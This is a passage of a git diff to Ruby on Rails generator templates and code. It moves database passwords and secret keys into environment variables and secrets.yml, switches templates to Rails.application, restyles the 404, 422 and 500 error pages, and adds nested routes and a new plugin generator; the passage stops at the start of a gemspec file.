-  dataserver: from_freetds.conf
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: sqlserver
-  encoding: utf8
-  reconnect: false
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
-  timeout: 25
-  dataserver: from_freetds.conf
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
index 832a861..ee8d90d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -2,4 +2,4 @@
 require File.expand_path('../application', __FILE__)
 
 # Initialize the Rails application.
-<%= app_const %>.initialize!
+Rails.application.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index 8b64881..de12565 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -1,4 +1,4 @@
-<%= app_const %>.configure do
+Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
   # In the development environment your application's code is reloaded on
@@ -20,14 +20,22 @@
   config.active_support.deprecation = :log
 
   <%- unless options.skip_active_record? -%>
-  # Raise an error on page load if there are pending migrations
+  # Raise an error on page load if there are pending migrations.
   config.active_record.migration_error = :page_load
-  <%- end -%>
 
+  <%- end -%>
   <%- unless options.skip_sprockets? -%>
   # Debug mode disables concatenation and preprocessing of assets.
   # This option may cause significant delays in view rendering with a large
   # number of complex assets.
   config.assets.debug = true
+
+  # Adds additional error checking when serving assets at runtime.
+  # Checks for improperly declared sprockets dependencies.
+  # Raises helpful error messages.
+  config.assets.raise_runtime_errors = true
   <%- end -%>
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index c40eef1..d3cb877 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -1,11 +1,11 @@
-<%= app_const %>.configure do
+Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
   # Code is not reloaded between requests.
   config.cache_classes = true
 
   # Eager load code on boot. This eager loads most of Rails and
-  # your application in memory, allowing both thread web servers
+  # your application in memory, allowing both threaded web servers
   # and those relying on copy on write to perform better.
   # Rake tasks automatically ignore this option for performance.
   config.eager_load = true
@@ -33,8 +33,7 @@
   # Generate digests for assets URLs.
   config.assets.digest = true
 
-  # Version of your assets, change this if you want to expire all your assets.
-  config.assets.version = '1.0'
+  # `config.assets.precompile` has moved to config/initializers/assets.rb
   <%- end -%>
 
   # Specifies the header that your server uses for sending files.
@@ -70,7 +69,7 @@
   # config.action_mailer.raise_delivery_errors = false
 
   # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
-  # the I18n.default_locale when a translation can not be found).
+  # the I18n.default_locale when a translation cannot be found).
   config.i18n.fallbacks = true
 
   # Send deprecation notices to registered listeners.
@@ -81,4 +80,9 @@
 
   # Use default logging formatter so that PID and timestamp are not suppressed.
   config.log_formatter = ::Logger::Formatter.new
+  <%- unless options.skip_active_record? -%>
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+  <%- end -%>
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index 7073d8d..053f5b6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -1,4 +1,4 @@
-<%= app_const %>.configure do
+Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
   # The test environment is used exclusively to run your application's
@@ -14,7 +14,7 @@
 
   # Configure static asset server for tests with Cache-Control for performance.
   config.serve_static_assets  = true
-  config.static_cache_control = "public, max-age=3600"
+  config.static_cache_control = 'public, max-age=3600'
 
   # Show full error reports and disable caching.
   config.consider_all_requests_local       = true
@@ -33,4 +33,7 @@
 
   # Print deprecation notices to the stderr.
   config.active_support.deprecation = :stderr
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
new file mode 100644
index 0000000..d2f4ec3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = '1.0'
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+# Rails.application.config.assets.precompile += %w( search.js )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
new file mode 100644
index 0000000..7a06a89
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Rails.application.config.action_dispatch.cookies_serializer = :json
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
index 72aca7e..dc18996 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -2,4 +2,3 @@
 
 # Add new mime types for use in respond_to blocks:
 # Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
deleted file mode 100644
index efccf72..0000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ /dev/null
@@ -1,12 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key is used for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rake secret` to generate a secure secret key.
-
-# Make sure your secret_key_base is kept private
-# if you're sharing your code publicly.
-<%= app_const %>.config.secret_key_base = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
index 4a099a4..2bb9b82 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -1,3 +1,3 @@
 # Be sure to restart your server when you modify this file.
 
-<%= app_const %>.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
+Rails.application.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
index e1f4acf..3f66539 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -1,4 +1,4 @@
-<%= app_const %>.routes.draw do
+Rails.application.routes.draw do
   # The priority is based upon order of creation: first created -> highest priority.
   # See how all your routes lay out with "rake routes".
 
diff --git a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
new file mode 100644
index 0000000..b2669a0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -0,0 +1,22 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: <%= app_secret %>
+
+test:
+  secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index a0daa0c..b612547 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>The page you were looking for doesn't exist (404)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,9 +57,11 @@
 <body>
   <!-- This file lives in public/404.html -->
   <div class="dialog">
-    <h1>The page you were looking for doesn't exist.</h1>
-    <p>You may have mistyped the address or the page may have moved.</p>
+    <div>
+      <h1>The page you were looking for doesn't exist.</h1>
+      <p>You may have mistyped the address or the page may have moved.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index fbb4b84..a21f82b 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>The change you wanted was rejected (422)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,9 +57,11 @@
 <body>
   <!-- This file lives in public/422.html -->
   <div class="dialog">
-    <h1>The change you wanted was rejected.</h1>
-    <p>Maybe you tried to change something you didn't have access to.</p>
+    <div>
+      <h1>The change you wanted was rejected.</h1>
+      <p>Maybe you tried to change something you didn't have access to.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index e9052d3..061abc5 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>We're sorry, but something went wrong (500)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,8 +57,10 @@
 <body>
   <!-- This file lives in public/500.html -->
   <div class="dialog">
-    <h1>We're sorry, but something went wrong.</h1>
+    <div>
+      <h1>We're sorry, but something went wrong.</h1>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 1a3a5e4..3c9c7c0 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
 #
 # To ban all spiders from the entire site uncomment the next two lines:
 # User-agent: *
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index 4fd0603..87b8fe3 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -1,15 +1,10 @@
-ENV["RAILS_ENV"] ||= "test"
+ENV['RAILS_ENV'] ||= 'test'
 require File.expand_path('../../config/environment', __FILE__)
 require 'rails/test_help'
 
 class ActiveSupport::TestCase
 <% unless options[:skip_active_record] -%>
-  ActiveRecord::Migration.check_pending!
-
   # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
-  #
-  # Note: You'll currently still have to declare fixtures explicitly in integration tests
-  # -- they do not yet inherit this setting
   fixtures :all
 
 <% end -%>
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
index 64239ad..de33900 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -16,3 +16,4 @@ Example:
         Test:       test/controllers/credit_cards_controller_test.rb
         Views:      app/views/credit_cards/debit.html.erb [...]
         Helper:     app/helpers/credit_cards_helper.rb
+        Test:       test/helpers/credit_cards_helper_test.rb
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
index bae5462..33a0d81 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -10,11 +10,45 @@ module Rails
 
       def add_routes
         actions.reverse.each do |action|
-          route %{get "#{file_name}/#{action}"}
+          route generate_routing_code(action)
         end
       end
 
       hook_for :template_engine, :test_framework, :helper, :assets
+
+      private
+
+        # This method creates nested route entry for namespaced resources.
+        # For eg. rails g controller foo/bar/baz index
+        # Will generate -
+        # namespace :foo do
+        #   namespace :bar do
+        #     get 'baz/index'
+        #   end
+        # end
+        def generate_routing_code(action)
+          depth = class_path.length
+          # Create 'namespace' ladder
+          # namespace :foo do
+          #   namespace :bar do
+          namespace_ladder = class_path.each_with_index.map do |ns, i|
+            indent("namespace :#{ns} do\n", i * 2)
+          end.join
+
+          # Create route
+          #     get 'baz/index'
+          route = indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
+
+          # Create `end` ladder
+          #   end
+          # end
+          end_ladder = (1..depth).reverse_each.map do |i|
+            indent("end\n", i * 2)
+          end.join
+
+          # Combine the 3 parts to generate complete route entry
+          namespace_ladder + route + end_ladder
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
index d28eb3d..7993830 100644
--- a/railties/lib/rails/generators/rails/generator/USAGE
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -10,3 +10,4 @@ Example:
         lib/generators/awesome/awesome_generator.rb
         lib/generators/awesome/USAGE
         lib/generators/awesome/templates/
+        test/lib/generators/awesome_generator_test.rb
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
index 9a7a516..15d88f0 100644
--- a/railties/lib/rails/generators/rails/generator/generator_generator.rb
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -10,6 +10,8 @@ module Rails
         directory '.', generator_dir
       end
 
+      hook_for :test_framework
+
       protected
 
         def generator_dir
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
index 1998a39..833b7be 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -46,21 +46,21 @@ Available field types:
 
         `rails generate model photo title:string album:references`
 
-    It will generate an album_id column. You should generate this kind of fields when
-    you will use a `belongs_to` association for instance. `references` also support
-    the polymorphism, you could enable the polymorphism like this:
+    It will generate an `album_id` column. You should generate these kinds of fields when
+    you will use a `belongs_to` association, for instance. `references` also supports
+    polymorphism, you can enable polymorphism like this:
 
         `rails generate model product supplier:references{polymorphic}`
 
-    For integer, string, text and binary fields an integer in curly braces will
+    For integer, string, text and binary fields, an integer in curly braces will
     be set as the limit:
 
         `rails generate model user pseudo:string{30}`
 
-    For decimal two integers separated by a comma in curly braces will be used
+    For decimal, two integers separated by a comma in curly braces will be used
     for precision and scale:
 
-        `rails generate model product price:decimal{10,2}`
+        `rails generate model product 'price:decimal{10,2}'`
 
     You can add a `:uniq` or `:index` suffix for unique or standard indexes
     respectively:
diff --git a/railties/lib/rails/generators/rails/plugin_new/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/USAGE
rename to railties/lib/rails/generators/rails/plugin/USAGE
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
new file mode 100644
index 0000000..f6f529b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -0,0 +1,371 @@
+require 'active_support/core_ext/hash/slice'
+require "rails/generators/rails/app/app_generator"
+require 'date'
+
+module Rails
+  # The plugin builder allows you to override elements of the plugin
+  # generator without being forced to reverse the operations of the default
+  # generator.
+  #
+  # This allows you to override entire operations, like the creation of the
+  # Gemfile, README, or JavaScript files, without needing to know exactly
+  # what those operations do so you can create another template action.
+  class PluginBuilder
+    def rakefile
+      template "Rakefile"
+    end
+
+    def app
+      if mountable?
+        directory 'app'
+        empty_directory_with_keep_file "app/assets/images/#{name}"
+      elsif full?
+        empty_directory_with_keep_file 'app/models'
+        empty_directory_with_keep_file 'app/controllers'
+        empty_directory_with_keep_file 'app/views'
+        empty_directory_with_keep_file 'app/helpers'
+        empty_directory_with_keep_file 'app/mailers'
+        empty_directory_with_keep_file "app/assets/images/#{name}"
+      end
+    end
+
+    def readme
+      template "README.rdoc"
+    end
+
+    def gemfile
+      template "Gemfile"
+    end
+
+    def license
+      template "MIT-LICENSE"
+    end
+
+    def gemspec
+      template "%name%.gemspec"
+    end
+
+    def gitignore
+      template "gitignore", ".gitignore"
+    end
+
+    def lib
+      template "lib/%name%.rb"
+      template "lib/tasks/%name%_tasks.rake"
+      template "lib/%name%/version.rb"
+      template "lib/%name%/engine.rb" if engine?
+    end
+
+    def config
+      template "config/routes.rb" if engine?
+    end
+
+    def test
+      template "test/test_helper.rb"
+      template "test/%name%_test.rb"
+      append_file "Rakefile", <<-EOF
+#{rakefile_test_tasks}
+
+task default: :test
+      EOF
+      if engine?
+        template "test/integration/navigation_test.rb"
+      end
+    end
+
+    PASSTHROUGH_OPTIONS = [
+      :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
+    ]
+
+    def generate_test_dummy(force = false)
+      opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
+      opts[:force] = force
+      opts[:skip_bundle] = true
+
+      invoke Rails::Generators::AppGenerator,
+        [ File.expand_path(dummy_path, destination_root) ], opts
+    end
+
+    def test_dummy_config
+      template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
+      template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
+      if mountable?
+        template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
+      end
+    end
+
+    def test_dummy_assets
+      template "rails/javascripts.js",  "#{dummy_path}/app/assets/javascripts/application.js", force: true
+      template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true
+    end
+
+    def test_dummy_clean
+      inside dummy_path do
+        remove_file ".gitignore"
+        remove_file "db/seeds.rb"
+        remove_file "doc"
+        remove_file "Gemfile"
+        remove_file "lib/tasks"
+        remove_file "public/robots.txt"
+        remove_file "README"
+        remove_file "test"
+        remove_file "vendor"
+      end
+    end
+
+    def stylesheets
+      if mountable?
+        copy_file "rails/stylesheets.css",
+                  "app/assets/stylesheets/#{name}/application.css"
+      elsif full?
+        empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
+      end
+    end
+
+    def javascripts
+      return if options.skip_javascript?
+
+      if mountable?
+        template "rails/javascripts.js",
+                 "app/assets/javascripts/#{name}/application.js"
+      elsif full?
+        empty_directory_with_keep_file "app/assets/javascripts/#{name}"
+      end
+    end
+
+    def bin(force = false)
+      return unless engine?
+
+      directory "bin", force: force do |content|
+        "#{shebang}\n" + content
+      end
+      chmod "bin", 0755, verbose: false
+    end
+
+    def gemfile_entry
+      return unless inside_application?
+
+      gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+      if File.exist? gemfile_in_app_path
+        entry = "gem '#{name}', path: '#{relative_path}'"
+        append_file gemfile_in_app_path, entry
+      end
+    end
+  end
+
+  module Generators
+    class PluginGenerator < AppBase # :nodoc:
+      add_shared_options_for "plugin"
+
+      alias_method :plugin_path, :app_path
+
+      class_option :dummy_path,   type: :string, default: "test/dummy",
+                                  desc: "Create dummy application at given path"
+
+      class_option :full,         type: :boolean, default: false,
+                                  desc: "Generate a rails engine with bundled Rails application for testing"
+
+      class_option :mountable,    type: :boolean, default: false,
+                                  desc: "Generate mountable isolated application"
+
+      class_option :skip_gemspec, type: :boolean, default: false,
+                                  desc: "Skip gemspec file"
+
+      class_option :skip_gemfile_entry, type: :boolean, default: false,
+                                        desc: "If creating plugin in application's directory " +
+                                                 "skip adding entry to Gemfile"
+
+      def initialize(*args)
+        @dummy_path = nil
+        super
+
+        unless plugin_path
+          raise Error, "Plugin name should be provided in arguments. For details run: rails plugin new --help"
+        end
+      end
+
+      public_task :set_default_accessors!
+      public_task :create_root
+
+      def create_root_files
+        build(:readme)
+        build(:rakefile)
+        build(:gemspec)   unless options[:skip_gemspec]
+        build(:license)
+        build(:gitignore) unless options[:skip_git]
+        build(:gemfile)   unless options[:skip_gemfile]
+      end
+
+      def create_app_files
+        build(:app)
+      end
+
+      def create_config_files
+        build(:config)
+      end
+
+      def create_lib_files
+        build(:lib)
+      end
+
+      def create_public_stylesheets_files
+        build(:stylesheets)
+      end
+
+      def create_javascript_files
+        build(:javascripts)
+      end
+
+      def create_images_directory
+        build(:images)
+      end
+
+      def create_bin_files
+        build(:bin)
+      end
+
+      def create_test_files
+        build(:test) unless options[:skip_test_unit]
+      end
+
+      def create_test_dummy_files
+        return unless with_dummy_app?
+        create_dummy_app
+      end
+
+      def update_gemfile
+        build(:gemfile_entry) unless options[:skip_gemfile_entry]
+      end
+
+      def finish_template
+        build(:leftovers)
+      end
+
+      public_task :apply_rails_template, :run_bundle
+
+      def name
+        @name ||= begin
+          # same as ActiveSupport::Inflector#underscore except not replacing '-'
+          underscored = original_name.dup
+          underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+          underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+          underscored.downcase!
+
+          underscored
+        end
+      end
+
+    protected
+
+      def app_templates_dir
+        "../../app/templates"
+      end
+
+      def create_dummy_app(path = nil)
+        dummy_path(path) if path
+
+        say_status :vendor_app, dummy_path
+        mute do
+          build(:generate_test_dummy)
+          store_application_definition!
+          build(:test_dummy_config)
+          build(:test_dummy_assets)
+          build(:test_dummy_clean)
+          # ensure that bin/rails has proper dummy_path
+          build(:bin, true)
+        end
+      end
+
+      def engine?
+        full? || mountable?
+      end
+
+      def full?
+        options[:full]
+      end
+
+      def mountable?
+        options[:mountable]
+      end
+
+      def with_dummy_app?
+        options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
+      end
+
+      def self.banner
+        "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
+      end
+
+      def original_name
+        @original_name ||= File.basename(destination_root)
+      end
+
+      def camelized
+        @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
+      end
+
+      def valid_const?
+        if original_name =~ /[^0-9a-zA-Z_]+/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+        elsif camelized =~ /^\d/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
+        elsif RESERVED_NAMES.include?(name)
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
+        elsif Object.const_defined?(camelized)
+          raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
+        end
+      end
+
+      def application_definition
+        @application_definition ||= begin
+
+          dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
+          unless options[:pretend] || !File.exist?(dummy_application_path)
+            contents = File.read(dummy_application_path)
+            contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
+          end
+        end
+      end
+      alias :store_application_definition! :application_definition
+
+      def get_builder_class
+        defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
+      end
+
+      def rakefile_test_tasks
+        <<-RUBY
+require 'rake/testtask'
+
+Rake::TestTask.new(:test) do |t|
+  t.libs << 'lib'
+  t.libs << 'test'
+  t.pattern = 'test/**/*_test.rb'
+  t.verbose = false
+end
+        RUBY
+      end
+
+      def dummy_path(path = nil)
+        @dummy_path = path if path
+        @dummy_path || options[:dummy_path]
+      end
+
+      def mute(&block)
+        shell.mute(&block)
+      end
+
+      def rails_app_path
+        APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+      end
+
+      def inside_application?
+        rails_app_path && app_path =~ /^#{rails_app_path}/
+      end
+
+      def relative_path
+        return unless inside_application?
+        app_path.sub(/^#{rails_app_path}\//, '')
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
new file mode 100644
index 0000000..5fdf0e1
--- /dev/null
